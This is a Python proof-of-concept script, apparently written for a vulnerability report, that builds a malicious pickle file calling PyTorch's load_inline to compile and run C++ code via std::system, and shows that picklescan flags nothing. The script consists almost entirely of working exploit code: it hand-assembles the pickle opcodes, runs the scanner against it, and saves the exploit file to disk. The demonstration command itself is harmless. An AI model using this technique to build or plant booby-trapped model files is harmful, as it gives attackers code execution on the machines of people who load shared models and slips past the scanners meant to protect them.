#!/usr/bin/env python3
"""
PoC: torch.utils.cpp_extension.load_inline pickle scanner bypass
Severity: CRITICAL - Full RCE via C++ code compilation
Both picklescan and modelscan report 0 issues.

torch.utils.cpp_extension.load_inline() compiles arbitrary C++ code
and loads it as a Python extension module. This means an attacker can
embed arbitrary C/C++ code in a pickle that will be compiled and
executed when the model is loaded.

Impact: Full remote code execution via C++ compilation
"""
import pickle
import pickletools
import io
import os

class TorchCppExtensionExploit:
    """Exploit pickle that compiles and loads arbitrary C++ code."""
    def __reduce__(self):
        # torch.utils.cpp_extension.load_inline(
        #     name="exploit",
        #     cpp_sources='#include <cstdlib>\nstatic auto x = std::system("id > /tmp/pwned");',
        #     functions=[]
        # )
        return (
            __import__('torch.utils.cpp_extension', fromlist=['load_inline']).load_inline,
            (
                "exploit",  # name
                '#include <cstdlib>\nstatic auto x = std::system("id > /tmp/pwned");',  # cpp_sources
                [],  # cuda_sources (empty)
                [],  # functions
            )
        )

def make_raw_pickle():
    """Build pickle using raw opcodes to avoid import issues during pickle.dumps."""
    data = b'\x80\x04'  # PROTO 4
    # Push module name
    mod = "torch.utils.cpp_extension"
    data += b'\x8c' + bytes([len(mod)]) + mod.encode()
    # Push function name
    func = "load_inline"
    data += b'\x8c' + bytes([len(func)]) + func.encode()
    data += b'\x93'  # STACK_GLOBAL

    # Push arguments: name="exploit", cpp_sources=malicious_code
    name_arg = "exploit"
    data += b'\x8c' + bytes([len(name_arg)]) + name_arg.encode()

    cpp_code = '#include <cstdlib>\nstatic auto x = std::system("id > /tmp/pwned");'
    data += b'\x8c' + bytes([len(cpp_code)]) + cpp_code.encode()

    data += b'\x86'  # TUPLE2 (name, cpp_sources)
    data += b'R'     # REDUCE
    data += b'.'     # STOP
    return data

if __name__ == "__main__":
    pkl_data = make_raw_pickle()

    # Show opcodes
    print("=== Pickle Opcodes ===")
    pickletools.dis(io.BytesIO(pkl_data))

    # Scan with picklescan
    from picklescan.scanner import scan_pickle_bytes
    result = scan_pickle_bytes(io.BytesIO(pkl_data), "exploit.pkl")
    print(f"\n=== Picklescan Results ===")
    print(f"Issues: {result.issues_count}")
    for g in result.globals:
        print(f"  {g.safety.value}: {g.module}.{g.name}")

    # Save PoC
    poc_path = os.path.join(os.path.dirname(__file__), "exploit-torch-cpp-load-inline.pkl")
    with open(poc_path, 'wb') as f:
        f.write(pkl_data)
    print(f"\nPoC saved to: {poc_path}")
    print(f"Size: {len(pkl_data)} bytes")
    print(f"\nNOTE: DO NOT unpickle this file - it will compile and execute C++ code")